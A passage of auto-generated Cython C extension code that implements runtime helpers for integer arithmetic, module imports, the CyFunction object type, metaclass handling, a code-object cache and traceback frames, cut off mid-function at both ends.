PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } } x = a - b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla - llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("subtract", return NULL) result = ((double)a) - (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceSubtract : PyNumber_Subtract)(op1, op2); } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= 